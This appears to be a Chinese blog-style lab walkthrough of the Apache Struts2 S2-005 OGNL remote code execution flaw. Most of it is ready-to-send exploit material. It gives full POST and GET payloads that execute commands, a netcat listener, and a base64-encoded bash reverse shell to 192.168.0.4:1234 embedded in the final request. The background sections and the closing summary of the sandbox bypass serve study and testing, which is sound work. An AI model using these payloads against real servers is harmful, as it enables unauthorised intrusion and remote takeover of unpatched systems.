Apache Struts2 S2-005 远程代码执行漏洞

文章目录

  • 基础知识
  • 一、通过BUMP构造数据包
    • 1.repeater模块构造post包
    • 2.浏览器访问以下链接
  • 二、反弹shell
    • 1.开启监听
    • 2.构造数据包
  • 总结


基础知识

Apache Struts2

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架,质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。

OGNL

对象导航图语言(Object Graph Navigation Language),简称OGNL,是应用于Java中的一个开源的表达式语言,它被集成在Struts2等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。

Docker

Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。

Docker容器与虚拟化的区别

两者为互补关系

虚拟化使得您的操作系统(Windows 或 Linux)可同时在单个硬件系统上运行。

容器则可共享同一个操作系统内核,将应用进程与系统其他部分隔离开。例如:ARM Linux 系统运行 ARM Linux 容器,x86 Linux 系统运行 x86 Linux 容器,x86 Windows 系统运行 x86 Windows 容器。Linux 容器具有极佳的可移植性,但前提是它们必须与底层系统兼容。

提示:以下是本篇文章正文内容,下面案例可供参考

一、通过BUMP构造数据包

1.repeater模块构造post包

发送如下post数据包,进行命令执行,设置对应的ip、端口地址为要攻击的靶机地址。

POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: 192.168.0.2:8080
Content-Length: 626

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

注:

也可以在浏览器中直接访问带poc的url进行命令执行
此处执行touch /tmp/success命令
touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。
此处通过touchu \tmp\success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令

2.浏览器访问以下链接

注:
需手动修改ip、端口信息,以下用xxx表示

http://xxx.xxx.x.x:xxxx/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

访问后无回显

二、反弹shell

为什么要反弹shell

当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

1.开启监听

代码如下:

nc -lvp 1234

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。

这里的-lvp命令将持续监听本机的指定端口

2.构造数据包

我们将要把第一次漏洞验证的数据包进行修改,修改id为反弹shell命令,接下来我们进行反弹shell命令的编码。

Apache Struts2 S2-005 远程代码执行漏洞_第1张图片
对反弹shell的命令进行加密,
加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

输入反弹shell命令,获取加密结果 命令内容:bash -i >& /dev/tcp/攻击机ip地址/端口 0>&1 加密结果:bash
-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
bash -c(会将第一个空格后的的内容作为第一个空格前的命令的参数,
echo输出YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=至base64命令,
作为输入,-d参数对输入进行解密,解密后为:bash -i >& /dev/tcp/192.168.0.4/1234 0>&1
该命令通过bash -i 来产生一个交互shell,&>
将bash标准输出重定向到/dev/tcp/192.168.0.4/1234的主机上,
0>&1将标准输入重定向到标准输出,以进行远程bash的交互.随后作为输入传入到{bash,i}命令中, 加密后再进行url编码:https://tool.chinaz.com/tools/urlencode.aspx

Apache Struts2 S2-005 远程代码执行漏洞_第2张图片

构造出数据包内容如下:(ip、端口自行填写)

POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: xxx.xxx.x.x:xxxx
Content-Length: 746

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

回到burp发送数据包–监听终端成功接收到反弹shell,本次反弹shell需要经历两次编码。


总结

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:user.address.city=Bishkek&user[‘favoriteDrink’]=kumys

//会被转化成

action.getUser().getAddress().setCity(“Bishkek”)

action.getUser().setFavoriteDrink(“kumys”)

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  1. S2-003 使用\u0023绕过s2对#的防御

  2. S2-003 后官方增加了安全模式(沙盒)

  3. S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

你可能感兴趣的:(struts,apache,java)